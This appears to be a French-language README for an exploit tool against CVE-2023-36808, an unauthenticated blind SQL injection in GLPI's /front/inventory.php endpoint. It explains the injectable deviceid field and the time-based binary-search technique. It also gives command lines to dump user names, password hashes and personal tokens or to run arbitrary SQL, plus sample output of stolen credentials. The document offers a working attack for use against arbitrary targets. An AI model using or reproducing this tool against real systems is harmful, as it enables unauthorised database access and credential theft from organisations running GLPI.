CVE-2023-36808 - Injection SQL non authentifiée dans GLPI

Vulnérabilité

Les versions < 10.0.10 de GLPI exposent un point de terminaison XML d'inventaire non authentifié sur /front/inventory.php.
Le champ <deviceid> est injecté directement dans une requête SQL sans nettoyage :

SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'

Aucune authentification n'est requise. La vulnérabilité permet un accès complet en lecture à la base de données via une injection SQL aveugle.

Exploitation

Ce script utilise l'injection aveugle basée sur le temps avec recherche binaire pour extraire les données beaucoup plus rapidement que les outils génériques.

• Une seule opération SLEEP par vérification booléenne (fiable quelle que soit la taille de la table)
• Recherche binaire : ~7 requêtes par caractère au lieu de 95
• Parallélisme au niveau des champs : nom, mot de passe et jeton extraits simultanément par utilisateur
• Limite de concurrence empêche les interférences temporelles entre les requêtes parallèles

Prérequis

pip install -r requirements.txt

Utilisation

# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi

# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"

# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3

# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4

Exemple de sortie

[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep  : 0.5s  Threshold: 0.35s  Parallel: 2

[+] Target reachable
[+] Injection confirmed

[*] User 1/7
  name               glpi
  password           $2y$10$xN.12pQxSLlQdMJzP26EWe...
  personal_token     xxxx
...

Références

• NVD - CVE-2023-36808
• GLPI Security Advisory